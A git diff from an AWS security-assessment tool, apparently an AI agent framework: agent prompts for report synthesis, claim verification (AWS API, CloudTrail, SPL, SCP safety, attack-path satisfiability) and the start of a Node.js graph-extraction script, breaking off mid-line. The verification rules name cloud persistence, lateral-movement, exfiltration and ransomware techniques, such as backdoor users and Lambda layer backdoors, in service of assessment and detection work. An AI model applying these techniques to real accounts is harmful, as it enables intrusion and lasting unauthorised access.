summary.reachability: +- principals_with_admin_reach: {N} principals can reach admin-equivalent access +- principals_with_data_reach: {N} principals can access sensitive data stores +- max_blast_radius_principal: {name} with {max_blast_radius_nodes} reachable nodes +- avg_hop_count: {N} average hops to privilege gain +- blocked_paths_total: {N} paths blocked by SCPs/boundaries (present but neutralized)] + +### Graph Statistics +[Node and edge counts from results.json graph: +- Identity nodes: {N} users, {N} roles, {N} groups +- Service/data nodes: {N} data stores, {N} external principals +- Graph edges: {N} total ({N} trust, {N} priv_esc, {N} data_access, {N} other)] +``` + +**Timestamp:** Use `date -u +"%Y-%m-%dT%H:%M:%SZ"` via Bash to get the current ISO timestamp. + +**Defend directory path:** Use the directory containing DEFEND_RESULTS (strip `results.json` from the glob result). + +**Counts from defend/results.json:** Read the file and extract: guardrail count from `summary.guardrails`, detection count from `summary.detections`, remediation item count from `summary.remediation_items`, and validation status from `summary.validation_status`. If defend/results.json does not have explicit counts, note "see defend output directory" instead. + +## Success Criteria + +The synthesizer succeeds when: +1. Pre-flight validation passed — results.json and defend output exist +2. engagement-report.md written to $RUN_DIR/ +3. Report contains all 6 sections (summary, account overview, attack paths, findings by service, defend references, appendix) +4. No severity labels used as assessments (do not write "Critical risk" or "High severity" — describe facts instead) +5. Research context woven into attack path narratives when available in the path data +6. Defend output referenced but not duplicated + +## Summary Return + +After writing engagement-report.md, return this block to the orchestrator: + +``` +STATUS: complete|error +FILE: $RUN_DIR/engagement-report.md +METRICS: {sections: 6, attack_paths_covered: N, services_covered: N} +ERRORS: [any issues encountered, or "none"] +``` + +If the synthesizer fails at any point (file write fails, unexpected data format, missing required fields), return STATUS: error with a description of the failure. Per the dispatch contract, synthesizer failure is blocking — the orchestrator will report an error to the operator. + +If pre-flight validation fails, return STATUS: error immediately without attempting report generation. diff --git a/agents/subagents/scope-verify.md b/agents/subagents/scope-verify.md index fd487b5..41ee247 100644 --- a/agents/subagents/scope-verify.md +++ b/agents/subagents/scope-verify.md @@ -1,6 +1,6 @@ --- name: scope-verify -description: Unified verification — claim ledger, AWS API validation, and SPL checks in a single file. Caller specifies domains via invocation context. Read inline by calling agents — not dispatched as a subagent. +description: Unified verification — AWS API validation and SPL checks in a single file. Caller specifies domains via invocation context. Read inline by calling agents — not dispatched as a subagent. tools: Read, Edit, Bash, Grep, Glob, WebSearch, WebFetch color: yellow --- @@ -15,37 +15,15 @@ Apply the full verification protocol to all technical claims before they reach t - **hunt**: shared preamble + `` (no domain-aws) - -## Claim Ledger - -Every verifiable claim must be entered into a semantic claim ledger. - -**SPL Claims** require: canonical query string, `earliest`/`latest` time bounds, `index`/`sourcetype`, expected result schema, rerun recipe. - -**AWS Claims** require: snapshot version identifier, resource ARN list, region/account scope, API action with full service prefix. - -**Attack Path Claims** require: satisfiability classification (see ``), all required permissions, all gating conditions. - -**Cross-Agent References** require: source agent + section, version/timestamp of referenced data. - -If a claim cannot be populated with all required fields, classify as Conditional or strip. - - ## Verification Protocol -### Confidence-Based Approach - -For each claim, apply a hybrid verification strategy: - | Confidence | Action | |------------|--------| | **95%+ confident correct** | Include, no web lookup | | **50-95% confident** | Search the web against official docs, correct if wrong | | **<50% confident** | Mandatory web search, correct or strip if docs unavailable | -### 7 Audit Categories — Domain Dispatch - | # | Category | Domain Section | Rules | |---|----------|----------------|-------| | 1 | AWS API Calls | **``** | Service prefix valid, action name exists, parameters correct | @@ -56,67 +34,19 @@ For each claim, apply a hybrid verification strategy: | 6 | SCP/RCP Structure | **``** | Safety checks, footgun detection | | 7 | Attack Path Logic | **``** | Satisfiability classification | -### MITRE ATT&CK Validation (Category 4) - -This is a cross-cutting concern — MITRE techniques appear in both AWS attack paths and SPL detections. Core handles it: - -- Technique ID format: `T[0-9]{4}` or `T[0-9]{4}\.[0-9]{3}` -- Verify technique name matches the ID -- Verify tactic is correct for the technique -- If confidence < 95%, search the web against attack.mitre.org -- Cross-check: same attack pattern must use the same MITRE ID across all agents - -### Web Search Budget - -Max ~15 web searches per agent run. Prioritize by impact: - -1. Wrong API name (breaks commands) -2. Wrong MITRE ID (misleads SOC) -3. Stylistic issues (lowest priority) - -### On Web Search Failure - -Fall back to training knowledge but downgrade confidence. Never block the agent run because verification failed — block/strip the individual claim. +Max ~15 web searches per run. Priority: wrong API name > wrong MITRE ID > stylistic. On failure, fall back to training knowledge, downgrade confidence, block/strip the individual claim — never the agent run. ## Output Taxonomy -Strict classification for all claims. Only Guaranteed and Conditional appear in output. Speculative is stripped unless the operator explicitly requests speculative analysis. - | Classification | Definition | Output Rule | |----------------|-----------|-------------| -| **Guaranteed** | All conditions satisfiable with known facts. Another engineer can reproduce. | Include as-is. | -| **Conditional** | Requires unknown input (external ID, network location, tag, specific timing, etc.) | Include, but MUST list every gating condition inline. Format: `[CONDITIONAL: requires ]` | -| **Speculative** | Based on assumptions without evidence. Cannot be reproduced without guessing. | Strip from output. Do not emit unless operator explicitly asks for speculative analysis. | +| **Guaranteed** | All conditions satisfiable with known facts — reproducible. | Include as-is. | +| **Conditional** | Requires unknown input (external ID, network location, tag, timing). | Include with `[CONDITIONAL: requires ]` listing every gate. | +| **Speculative** | Assumptions without evidence — not reproducible. | Strip unless operator explicitly requests speculative analysis. | - -## Cross-Agent Consistency - -Upgraded from naming hygiene to contradiction handling: - -- **CloudTrail eventNames** in defend SPL must match API calls described in audit/exploit findings — flag contradictions. Note: this check compares claims within a single verification pass (e.g., when verify is called by defend, it checks defend's SPL against the audit data defend ingested). It does NOT require cross-run shared state. -- **MITRE technique IDs** must be consistent across agents for the same attack pattern — if audit says T1078.004 and defend says T1078.001 for the same behavior, flag it -- **SPL field names** must match the CloudTrail schema used elsewhere — no non-standard field aliases. CIM-standard renames (e.g., `| rename userIdentity.userName AS user`) are required, not prohibited. -- **All SPL uses raw `index=cloudtrail`** — flag any backtick macro usage as a hard-fail error -- **Contradictory AWS claims** — if two agents make contradictory claims about the same AWS behavior (e.g., one says an API is deprecated, another uses it), flag the contradiction and search the web to resolve -- **Cross-references** must cite the source agent and data version - - - -## Correction Rules - -| Action | When | Example | -|--------|------|---------| -| **Silent correction** | Wrong API name, MITRE ID, field name | Use the correct value. Don't tell the operator. | -| **Strip** | Claims that fail hard-fail lints | Remove from output with `[STRIPPED: ]` marker. | -| **Rewrite** | SPL queries missing time bounds, attack paths with unknown gates | Add reasonable defaults and include. Downgrade to Conditional with explicit conditions. | -| **Annotate** | High blast radius remediation | Keep but add warning annotation. | -| **Never fabricate** | Can't verify and can't find correct value | Strip the claim rather than guessing. | -| **Never block the agent run** | Any verification outcome | Only block/strip individual claims. | - - ## AWS Verification Domain @@ -125,222 +55,103 @@ Handles audit categories 1 (AWS API Calls), 2 (CloudTrail Events), 5 (IAM Policy ## AWS API Call Validation (Category 1) -Every AWS API call claim must be verified: - -### Service Prefix Validation -- Service prefix must be a real AWS service (e.g., `iam`, `sts`, `s3`, `kms`, `ec2`, `secretsmanager`) -- If confidence < 95%, search the web against AWS documentation to confirm the service exists - -### Action Name Validation -- Action name must exist for the given service (e.g., `iam:CreatePolicyVersion` is real, `iam:CreatePolicyEdition` is not) -- Case-sensitive: `CreateAccessKey` not `createAccessKey` -- If confidence < 95%, search the web against AWS CLI reference or API docs - -### Parameter Validation -- Required parameters must be present -- Parameter names must match AWS documentation (case-sensitive) -- ARN format parameters must follow `arn:aws::::/` - -### Snapshot Requirements -- Every AWS claim must include a snapshot version identifier -- Resource ARN list must be explicit -- Region and account scope must be stated +- **Service prefix** must be a real AWS service. If confidence < 95%, web-search AWS docs. +- **Action name** must exist for the service, case-sensitive (`CreateAccessKey` not `createAccessKey`). If confidence < 95%, web-search. +- **Parameters** must be present, case-sensitive, ARNs must follow `arn:aws::::/` +- **Snapshot** — every claim needs: version identifier, explicit resource ARN list, region/account scope +- **Cross-agent contradictions** — if two agents contradict on the same AWS behavior, flag and web-search to resolve ## CloudTrail Event Validation (Category 2) -CloudTrail eventName must match the corresponding AWS API action: - -### Matching Rules -- eventName is case-sensitive and must exactly match the API action name -- `eventSource` must match the service endpoint (e.g., `iam.amazonaws.com`, `sts.amazonaws.com`) -- Cross-reference against category 1: if the API call is validated, the CloudTrail eventName must match - -### Common Mismatches to Catch -- `AssumeRole` vs `AssumeRoleWithSAML` vs `AssumeRoleWithWebIdentity` — these are distinct events -- `CreateUser` vs `CreateLoginProfile` — different operations -- Read-only vs mutating events — `Get*`/`List*`/`Describe*` are read, others are write -- Management events vs data events — S3 `GetObject` is a data event, `CreateBucket` is management - -### On Mismatch -Silent correction if the correct eventName is known. Strip if uncertain. +- eventName is case-sensitive, must exactly match API action. `eventSource` must match service endpoint (e.g., `iam.amazonaws.com`). +- Distinguish: `AssumeRole` vs `AssumeRoleWithSAML` vs `AssumeRoleWithWebIdentity`; `CreateUser` vs `CreateLoginProfile`; read (`Get*`/`List*`/`Describe*`) vs write; management vs data events (S3 `GetObject` = data, `CreateBucket` = management) +- **Cross-agent check** — defend SPL eventNames must match audit/exploit API calls (single verification pass, no cross-run state) +- On mismatch: silent correction if known, strip if uncertain ## IAM Policy Syntax Validation (Category 5) -Every IAM policy document must be structurally valid: - -### Required Structure -- Valid JSON (parseable, no trailing commas, no comments) -- `"Version": "2012-10-17"` — always this value, no other version -- `"Statement"` array with at least one statement - -### Statement Validation -- `"Effect"`: must be `"Allow"` or `"Deny"` (case-sensitive) -- `"Action"` or `"NotAction"`: must use `service:ActionName` format - - Wildcards allowed: `s3:*`, `iam:Create*` - - Service prefix must be valid (see category 1) -- `"Resource"` or `"NotResource"`: must be valid ARN pattern or `"*"` -- `"Condition"` (optional): condition operator must be valid (`StringEquals`, `ArnLike`, `IpAddress`, etc.), condition key must be a real context key - -### Common Errors to Catch -- `"Action": "s3:GetObject"` (string) vs `"Action": ["s3:GetObject"]` (array) — both valid, but verify consistency -- Missing `"Resource"` field — required -- `"Version": "2012-10-17"` vs `"Version": "2008-10-17"` — always use 2012 -- Invalid condition keys (e.g., `aws:PrincipleTag` instead of `aws:PrincipalTag`) +- Valid JSON, `"Version": "2012-10-17"` (always), `"Statement"` array with 1+ entries +- `"Effect"`: `"Allow"`/`"Deny"` (case-sensitive). `"Action"`/`"NotAction"`: `service:ActionName` format, wildcards OK, valid prefix required. `"Resource"`/`"NotResource"`: valid ARN or `"*"` — required field. +- `"Condition"` keys must be real context keys (catch `aws:PrincipleTag` → `aws:PrincipalTag`) ## SCP/RCP Structural Safety (Category 6) -The defend agent generates SCPs, RCPs, and security controls. The verifier prevents dangerous guidance even though it can't simulate deployment. - ### Structural Safety Checks for SCPs | Check | Rule | |-------|------| | Deny precedence | Verify deny statements don't accidentally override needed allows | | Org-wide lockout prevention | Flag any SCP that denies broad actions without condition scoping (e.g., `"Action": "*"` with `"Effect": "Deny"`) | -| Required Action/NotAction patterns | NotAction deny patterns must be correct — verify the inverse set is what's intended | +| NotAction deny patterns | Verify the inverse set is what's intended | | Explicit `"Resource": "*"` in Allow | Required for SCP Allow statements — flag if missing | -| Break-glass preservation | Flag SCPs with no exemption path (no condition key for emergency access). Suggest scoped exemptions as optional pattern. | - -### Known Footguns - -Detect and flag these dangerous patterns: - -| Footgun | Risk | -|---------|------| -| Denying `sts:AssumeRole` broadly | Breaks cross-account access, service roles, SSO | -| Denying `ec2:Describe*` broadly | Breaks AWS Console, many tools, monitoring | -| Blocking logging services (`cloudtrail:*`, `config:*`, `guardduty:*`) | Breaks security monitoring itself | -| Denying `iam:CreateServiceLinkedRole` | Breaks many AWS services that auto-create SLRs | -| Deny with no `StringNotEquals` or `ArnNotLike` condition escape hatch | No break-glass path | - -### On Detection - -Do not strip the SCP, but annotate it: +| Break-glass preservation | Flag SCPs with no exemption path for emergency access | -``` -WARNING — HIGH BLAST RADIUS: This SCP denies [action] without a break-glass condition. - Risk: [specific impact] - Suggested mitigation: Add Condition key for emergency exemption. -``` +### Known Footguns — Detect and Annotate -Classify as `[CONDITIONAL: requires break-glass condition before deployment]`. +- Don't deny `sts:AssumeRole` broadly — breaks cross-account access, service roles, SSO +- Don't deny `ec2:Describe*` broadly — breaks Console, tools, monitoring +- Don't block logging services (`cloudtrail:*`, `config:*`, `guardduty:*`) — breaks security monitoring +- Don't deny `iam:CreateServiceLinkedRole` — breaks services that auto-create SLRs +- Deny with no `StringNotEquals`/`ArnNotLike` escape hatch — no break-glass path -### Config-Sourced SCP Validation +On detection: annotate with `WARNING — high BLAST RADIUS`, classify as `[CONDITIONAL: requires break-glass condition before deployment]`. Do not strip. -SCPs loaded from `config/scps/` (tagged `_source: "config"`) undergo the same structural safety checks above, plus these additional validation rules: +### Config-Sourced SCP Validation (`config/scps/`, tagged `_source: "config"`) -| Check | Rule | -|-------|------| -| Version field | Must be `"2012-10-17"` — reject other versions | -| Statement structure | `Statement` must be an array (not a single object) — SCPs require array format | -| Targets structure | If `Targets` is present, each entry must have `TargetId` (string) and `Type` (one of `ACCOUNT`, `ORGANIZATIONAL_UNIT`, `ROOT`) | -| No NotPrincipal | Flag any config SCP using `NotPrincipal` — SCPs do not support `NotPrincipal`. This indicates the config file is not a valid SCP (may be an IAM policy mislabeled as an SCP). | -| PolicyId format | Should match `p-[a-z0-9]+` pattern. Warn (don't reject) on non-standard format. | - -On validation failure: log a warning with the filename and specific failure, skip the invalid SCP, and continue loading remaining files. +- Version must be `"2012-10-17"`, Statement must be array, no `NotPrincipal` (SCPs don't support it) +- Targets entries need `TargetId` (string) + `Type` (`ACCOUNT`|`ORGANIZATIONAL_UNIT`|`ROOT`) +- PolicyId should match `p-[a-z0-9]+` (warn, don't reject) +- On failure: log warning with filename, skip invalid SCP, continue loading ## Attack Path Satisfiability Checks (Category 7) -Attack path claims must pass constraint satisfiability — not just "is this technically possible in theory." - ### Category Validation -Every attack path must include a `category` field with one of these values: - -| Category | Valid Values | -|----------|-------------| -| Privilege escalation | `privilege_escalation` | -| Trust misconfiguration | `trust_misconfiguration` | -| Data exposure | `data_exposure` | -| Credential risk | `credential_risk` | -| Excessive permission | `excessive_permission` | -| Network exposure | `network_exposure` | -| Persistence | `persistence` | -| Post-exploitation | `post_exploitation` | -| Lateral movement | `lateral_movement` | - -**On missing or invalid category:** Default to `privilege_escalation` for escalation paths. For others, infer from path content and silently correct. Flag if ambiguous. +Valid `category` values: `privilege_escalation`, `trust_misconfiguration`, `data_exposure`, `credential_risk`, `excessive_permission`, `network_exposure`, `persistence`, `post_exploitation`, `lateral_movement`. On missing/invalid: default to `privilege_escalation` for escalation paths, infer from content for others. ### Classification Rules | Condition | Classification | |-----------|---------------| -| Step requires `kms:Decrypt` but key policy/grants are unknown | Cannot assert decryptability → Conditional | -| `AssumeRole` requires external ID and you don't have it | Path is conditional, not guaranteed → Conditional | -| Path relies on service-linked role behavior | Require service-specific documentation evidence or → Conditional | -| All permissions confirmed present, no unknown gates | Guaranteed | -| Path requires conditions not in evidence (network location, tag value, etc.) | Conditional — list the gating condition | -| Path depends on unverified assumptions with no evidence | Speculative — strip unless explicitly requested | +| All permissions confirmed, no unknown gates | Guaranteed | +| Unknown KMS key policy, missing external ID, unverified SLR behavior | Conditional | +| Requires conditions not in evidence (network, tags, timing) | Conditional — list the gate | +| Unverified assumptions with no evidence | Speculative — strip | ### Per-Step Requirements -Each attack path step must list: - -- **Required IAM permission** — exact `service:Action` string -- **Whether that permission was confirmed present** in enumeration data -- **Any gating conditions** — SCPs, permission boundaries, resource policies, network, tags +Each step must list: required IAM permission (`service:Action`), whether confirmed present in enum data, and gating conditions (SCPs, boundaries, resource policies, network, tags). ### Multi-Service Path Validation -For paths that span multiple AWS services (e.g., IAM → Lambda → S3): -- Verify each service's API exists and action names are correct -- Verify the chain of trust is logically sound (role A can assume role B, role B has the needed permission) -- Flag if any link in the chain is unverified - -### Category-Specific Satisfiability - -**Persistence paths (`persistence`):** -- Verify the principal has the required permissions to establish the persistence mechanism (e.g., `iam:CreateUser` for backdoor user, `lambda:PublishLayerVersion` for layer backdoor, `kms:CreateGrant` for eternal grants) -- For cross-account persistence (trust policy backdoor, resource policy grants), verify the trust relationship is writable by the principal -- For scheduled persistence (SSM associations, EventBridge rules, spot fleet requests), verify the scheduling permission exists -- Classification: Guaranteed only if all required permissions are confirmed and no SCP/boundary blocks the action - -**Post-exploitation paths (`post_exploitation`):** -- Verify the principal can actually access the target data (e.g., `s3:GetObject` + relevant KMS key access for encrypted buckets) -- For destructive paths (ransomware, deletion), verify both the modification permission and the absence of protective controls (Object Lock, deletion protection, backup policies) -- For exfiltration paths, verify the principal can reach the target resource (VPC endpoints, resource policies) -- Classification: Guaranteed only if the full exfiltration/destruction chain is confirmed end-to-end - -**Lateral movement paths (`lateral_movement`):** -- Verify each hop in the chain: trust policy allows assumption, required permissions exist at each level -- For SSM-based pivots, verify `ssm:StartSession` and that the target instance is SSM-managed -- For cross-account movement, verify the trust relationship exists AND the principal can satisfy trust conditions (external ID, MFA, source IP) -- For service-based pivots (Lambda → ECS, EC2 → IMDS), verify the service configuration enables the pivot -- Classification: Conditional if any hop depends on unverified configuration; Guaranteed only if all hops are confirmed - -**Misconfiguration paths (`trust_misconfiguration`, `data_exposure`, `credential_risk`, `excessive_permission`, `network_exposure`):** -- These are observation-based — the finding IS the evidence (e.g., wildcard trust policy exists, MFA is disabled, security group is open) -- Classification: Guaranteed if enumeration data confirms the misconfiguration; Conditional if inferred from partial data +Verify each service API/action exists, chain of trust is logically sound, and flag unverified links. + +### Category-Specific Rules + +- **Persistence** — verify permissions for the mechanism (CreateUser, PublishLayerVersion, CreateGrant), trust relationship writability for cross-account, scheduling permissions for SSM/EventBridge. Guaranteed only if all permissions confirmed and no SCP/boundary blocks. +- **Post-exploitation** — verify data access end-to-end (GetObject + KMS), verify absence of protective controls for destructive paths (Object Lock, deletion protection), verify reachability for exfiltration. Guaranteed only if full chain confirmed. +- **Lateral movement** — verify each hop (trust policy, permissions), SSM-managed status for SSM pivots, trust conditions for cross-account (external ID, MFA, source IP), service config for service pivots. Conditional if any hop unverified. +- **Misconfiguration** (`trust_misconfiguration`, `data_exposure`, `credential_risk`, `excessive_permission`, `network_exposure`) — observation-based, finding IS the evidence. Guaranteed if enum confirms; Conditional if inferred from partial data. ## SPL Verification Domain -This section handles SPL semantic validation — see shared preamble above for output taxonomy and correction rules. - -Handles audit category 3 (SPL Syntax) and enforces semantic rules that impact fidelity, cost, and portability. - -**No macros. Ever.** All SPL must use raw `index=cloudtrail` with explicit time bounds. This is a hard project rule. - -**No operator interaction.** Apply checks silently. +Handles audit category 3 (SPL Syntax). **No macros. Ever.** All SPL must use raw `index=cloudtrail` with explicit time bounds. Apply checks silently. ## SPL Semantic Lints (Category 3) -Beyond syntax checking, enforce semantic rules that impact fidelity and cost. - -### Hard-Fail Rules - -These rules cause a query to be stripped or rewritten before inclusion in output: +### Hard-Fail Rules — Strip or Rewrite | Rule | Rationale | |------|-----------| @@ -352,39 +163,13 @@ These rules cause a query to be stripped or rewritten before inclusion in output | Uses backtick macros (e.g., `` `cloudtrail` ``) | Macros are environment-specific; raw SPL ensures portability | | Uses `index=*` or omits index entirely | Must explicitly target `index=cloudtrail` | -### On Hard-Fail - -Do not include the query as-is. Either: - -1. **Rewrite** it to comply — add `earliest=-24h latest=now`, add `index=cloudtrail`, constrain the join, etc. -2. **Strip** it and note: `[STRIPPED: query failed semantic lint — ]` +On hard-fail: **rewrite** to comply (add time bounds, add index, constrain joins) or **strip** with `[STRIPPED: query failed semantic lint — ]`. ## CloudTrail Field Validation -**Schema assumption:** SCOPE SPL uses raw CloudTrail JSON field names as ingested by `index=cloudtrail`. This assumes the Splunk environment indexes CloudTrail events with their native JSON structure (e.g., via the AWS Add-on for Splunk or direct JSON ingestion). If a customer's Splunk instance uses custom props/transforms that flatten or rename fields (e.g., `user_type` instead of `userIdentity.type`), the generated SPL will need manual adaptation. - -SPL queries targeting CloudTrail must use correct field names: - -### Required CloudTrail Fields - -| SPL Field | CloudTrail JSON Path | Notes | -|-----------|---------------------|-------| -| `eventName` | `eventName` | Case-sensitive API action name | -| `eventSource` | `eventSource` | Service endpoint, e.g., `iam.amazonaws.com` | -| `sourceIPAddress` | `sourceIPAddress` | Caller's IP | -| `userIdentity.type` | `userIdentity.type` | `Root`, `IAMUser`, `AssumedRole`, `FederatedUser`, `AWSAccount`, `AWSService` | -| `userIdentity.arn` | `userIdentity.arn` | Caller's ARN | -| `userIdentity.accountId` | `userIdentity.accountId` | 12-digit account ID | -| `userIdentity.principalId` | `userIdentity.principalId` | Unique ID | -| `userIdentity.sessionContext.sessionIssuer.arn` | nested | Role ARN for assumed roles | -| `requestParameters.*` | `requestParameters` | Service-specific, verify against API docs | -| `responseElements.*` | `responseElements` | Service-specific | -| `errorCode` | `errorCode` | e.g., `AccessDenied`, `UnauthorizedAccess` | -| `errorMessage` | `errorMessage` | Human-readable error | -| `awsRegion` | `awsRegion` | e.g., `us-east-1` | -| `recipientAccountId` | `recipientAccountId` | Account that received the event | +SCOPE SPL uses raw CloudTrail JSON field names as ingested by `index=cloudtrail`. SPL field names must match the CloudTrail schema used across all agents — no non-standard aliases. CIM-standard renames (e.g., `| rename userIdentity.userName AS user`) are allowed. ### Common Field Errors to Catch @@ -393,11 +178,8 @@ SPL queries targeting CloudTrail must use correct field names: | `userName` | `userIdentity.userName` | Nested under userIdentity | | `user_type` | `userIdentity.type` | Not underscore-separated | | `src_ip` | `sourceIPAddress` | CloudTrail uses camelCase | -| `account_id` | `userIdentity.accountId` or `recipientAccountId` | Depends on context | | `action` | `eventName` | CloudTrail calls it eventName | -| `service` | `eventSource` | CloudTrail calls it eventSource | - -### On Field Error +| `account_id` | `userIdentity.accountId` or `recipientAccountId` | Depends on context | Silent correction if the correct field name is known with high confidence. Strip if uncertain. @@ -405,80 +187,26 @@ Silent correction if the correct field name is known with high confidence. Strip ## Query Structure Validation -### Required Structure - -Every SPL query must follow this pattern: - -``` -index=cloudtrail earliest= ## Rerun Recipe Requirement -Every SPL output must include the rerun recipe: - -``` -# Rerun recipe -# index=cloudtrail earliest= latest= -# Expected fields: -# Paste this query into Splunk search bar to reproduce -``` - -### Recipe Validation - -- The recipe must contain the exact same query as the main output -- `earliest` and `latest` values must match the query -- Expected fields list must be non-empty and match fields used in the query's output -- Recipe must be self-contained — no references to macros, saved searches, lookup tables, or external dependencies - -### On Missing Recipe - -Rewrite to add the recipe block. Do not strip the query — add the recipe and include. +Every SPL output must include a self-contained rerun recipe: exact query, matching `earliest`/`latest`, non-empty expected fields list, no macro/lookup/saved-search references. On missing recipe: rewrite to add — do not strip. ## Core Verification Domain -This section contains core-specific verification logic that applies across all domains. - ### MITRE ATT&CK Cross-Reference Validation -MITRE technique IDs appear in both AWS attack paths (domain-aws) and SPL detections (domain-splunk). Core is the single authority for MITRE validation to ensure consistency: - - Verify technique ID exists at the specified ID (e.g., T1078.004 — Valid Accounts: Cloud Accounts) - Verify technique name matches the ID exactly (case-sensitive as listed at attack.mitre.org) - Verify tactic is correct for the technique (e.g., T1078.004 maps to Initial Access AND Persistence AND Privilege Escalation AND Defense Evasion) @@ -490,19 +218,11 @@ MITRE technique IDs appear in both AWS attack paths (domain-aws) and SPL detecti ## Error Handling -| Scenario | Response | -|----------|----------| -| Web search fails | Fall back to training knowledge, downgrade confidence, annotate claim | -| Agent file not found | Stop with error listing available agents | -| Claim can't be classified | Default to Conditional, list what's unknown | -| Edit operation fails | Report error, continue with remaining work | -| Domain section unavailable | Apply core checks only, annotate: `[PARTIAL VERIFICATION: section unavailable]` | -| AWS documentation lookup fails | Fall back to training knowledge, downgrade confidence | -| Policy JSON unparseable | Strip the policy claim, note parse error | -| Unknown service prefix | Search the web to confirm, strip if unresolvable | -| Attack path logic unclear | Default to Conditional, list all unknowns | -| Unknown SPL command | Search Splunk docs to verify, strip if unresolvable | -| Field name uncertain | Search the web for CloudTrail JSON schema, correct or strip | -| Query too complex to validate | Annotate: `[PARTIAL VERIFICATION: complex query structure]`, include as Conditional | -| Splunk docs unavailable | Fall back to training knowledge, downgrade confidence | +- **Web/docs lookup fails** — fall back to training knowledge, downgrade confidence, annotate claim +- **Agent file not found** — stop with error listing available agents +- **Can't classify claim** — default to Conditional, list unknowns +- **Unparseable policy JSON / unknown service prefix / unknown SPL command** — search docs, strip if unresolvable +- **Domain section unavailable** — apply core checks only, annotate `[PARTIAL VERIFICATION]` +- **Query too complex** — annotate `[PARTIAL VERIFICATION]`, include as Conditional +- **Edit fails** — report error, continue with remaining work diff --git a/bin/extract-graph.js b/bin/extract-graph.js new file mode 100755 index 0000000..128aedb --- /dev/null +++ b/bin/extract-graph.js @@ -0,0 +1,399 @@ +#!/usr/bin/env node +// SCOPE Graph Extraction — Phase A Deterministic Graph Construction +// Reads enumeration module JSONs from a run directory and outputs a +// deterministic {nodes, edges} graph to stdout. +// +// Usage: +// node bin/extract-graph.js +// +// Exit codes: +// 0 — success (including empty graph from missing/empty files) +// 1 — error (missing run dir, bad args) + +'use strict'; + +const fs = require('fs'); +const path = require('path'); + +function main() { + const runDir = process.argv[2]; + + if (!runDir) { + console.error('Usage: node bin/extract-graph.js '); + process.exit(1); + } + + const resolved = path.resolve(runDir); + + if (!fs.existsSync(resolved) || !fs.statSync(resolved).isDirectory()) { + console.error(`[ERROR] Not a directory: ${resolved}`); + process.exit(1); + } + + // Read module files (missing = empty findings) + const iam = readModule(resolved, 'iam.json'); + const s3 = readModule(resolved, 's3.json'); + const kms = readModule(resolved, 'kms.json'); + const secrets = readModule(resolved, 'secrets.json'); + const rds = readModule(resolved, 'rds.json'); + const lambda = readModule(resolved, 'lambda.json'); + const ec2 = readModule(resolved, 'ec2.json'); + const codebuild = readModule(resolved, 'codebuild.json'); + const apigateway = readModule(resolved, 'apigateway.json'); + const sns = readModule(resolved, 'sns.json'); + const sqs = readModule(resolved, 'sqs.json'); + const bedrock = readModule(resolved, 'bedrock.json'); + const cognito = readModule(resolved, 'cognito.json'); + const dynamodb = readModule(resolved, 'dynamodb.json'); + const ssm = readModule(resolved, 'ssm.json'); + + // Extract nodes + const nodes = extractNodes(iam, s3, kms, secrets, rds, lambda, ec2, codebuild, apigateway, sns, sqs, bedrock, cognito, dynamodb, ssm); + + // Extract edges + const edges = extractEdges(iam, lambda, ec2, codebuild, bedrock, apigateway, cognito); + + // Output + console.log(JSON.stringify({ nodes, edges })); +} + +/** + * Read and parse a module JSON file from the run directory. + * Returns parsed object. If file doesn't exist, returns {findings: []}. + * If JSON.parse fails, lets it throw (hooks guarantee valid JSON upstream). + */ +function readModule(runDir, filename) { + const filePath = path.join(runDir, filename); + if (!fs.existsSync(filePath)) { + return { findings: [] }; + } + const raw = fs.readFileSync(filePath, 'utf-8'); + return JSON.parse(raw); +} + +/** + * Extract all graph nodes from module data. + * Node types (D-12): + * - IAM identity: user:, role: (excl service-linked), group: + * - Service nodes: svc: (from IAM role trust_relationships where trust_type === "service") + * - OIDC providers: oidc: (from iam.json oidc_provider findings) + * - Data stores: data:s3:, data:kms:, data:secrets:, data:rds:, data:dynamodb:, data:ssm: + * - Compute: compute:lambda:, compute:ec2:, compute:codebuild: + * - Gateway: gateway:apigw: + * - Messaging: messaging:sns:, messaging:sqs: + * - AI: ai:bedrock: + * - Identity Provider: idp:cognito: + * All nodes: {id, label, type, _source: "api"} + * Deduplicated by .id, sorted by .id + */ +function extractNodes(iam, s3, kms, secrets, rds, lambda, ec2, codebuild, apigateway, sns, sqs, bedrock, cognito, dynamodb, ssm) { + const allNodes = []; + + // Identity nodes from iam.json + for (const finding of iam.findings || []) { + if (finding.resource_type === 'iam_user') { + allNodes.push({ id: 'user:' + finding.resource_id, label: finding.resource_id, type: 'user', _source: 'api' }); + } else if (finding.resource_type === 'iam_role' && !finding.is_service_linked) { + allNodes.push({ id: 'role:' + finding.resource_id, label: finding.resource_id, type: 'role', _source: 'api' }); + } else if (finding.resource_type === 'iam_group') { + allNodes.push({ id: 'group:' + finding.resource_id, label: finding.resource_id, type: 'group', _source: 'api' }); + } + } + + // Service nodes from IAM role trust_relationships where trust_type === "service" + for (const finding of iam.findings || []) { + if (finding.resource_type !== 'iam_role') continue; + const trusts = finding.trust_relationships || []; + for (const tr of trusts) { + if (tr.trust_type === 'service') { + allNodes.push({ id: 'svc:' + tr.principal, label: tr.principal, type: 'external', _source: 'api' }); + } + } + } + + // Data store nodes + for (const finding of s3.findings || []) { + allNodes.push({ id: 'data:s3:' + finding.resource_id, label: finding.resource_id, type: 'data', _source: 'api' }); + } + for (const finding of kms.findings || []) { + allNodes.push({ id: 'data:kms:' + finding.resource_id, label: finding.resource_id, type: 'data', _source: 'api' }); + } + for (const finding of secrets.findings || []) { + allNodes.push({ id: 'data:secrets:' + finding.resource_id, label: finding.resource_id, type: 'data', _source: 'api' }); + } + for (const finding of rds.findings || []) { + allNodes.push({ id: 'data:rds:' + finding.resource_id, label: finding.resource_id, type: 'data', _source: 'api' }); + } + + // Data tier — new services + for (const finding of dynamodb.findings || []) { + if (finding.resource_type === 'dynamodb_table') { + allNodes.push({ id: 'data:dynamodb:' + finding.resource_id, label: finding.resource_id, type: 'data', _source: 'api' }); + } + } + for (const finding of ssm.findings || []) { + if (finding.resource_type === 'ssm_parameter') { + allNodes.push({ id: 'data:ssm:' + finding.resource_id, label: finding.resource_id, type: 'data', _source: 'api' }); + } + } + + // Compute tier + for (const finding of lambda.findings || []) { + if (finding.resource_type === 'lambda_function') { + allNodes.push({ id: 'compute:lambda:' + finding.resource_id, label: finding.resource_id, type: 'compute', _source: 'api' }); + } + } + for (const finding of ec2.findings || []) { + if (finding.resource_type === 'ec2_instance') { + allNodes.push({ id: 'compute:ec2:' + finding.resource_id, label: finding.resource_id, type: 'compute', _source: 'api' }); + } + } + for (const finding of codebuild.findings || []) { + if (finding.resource_type === 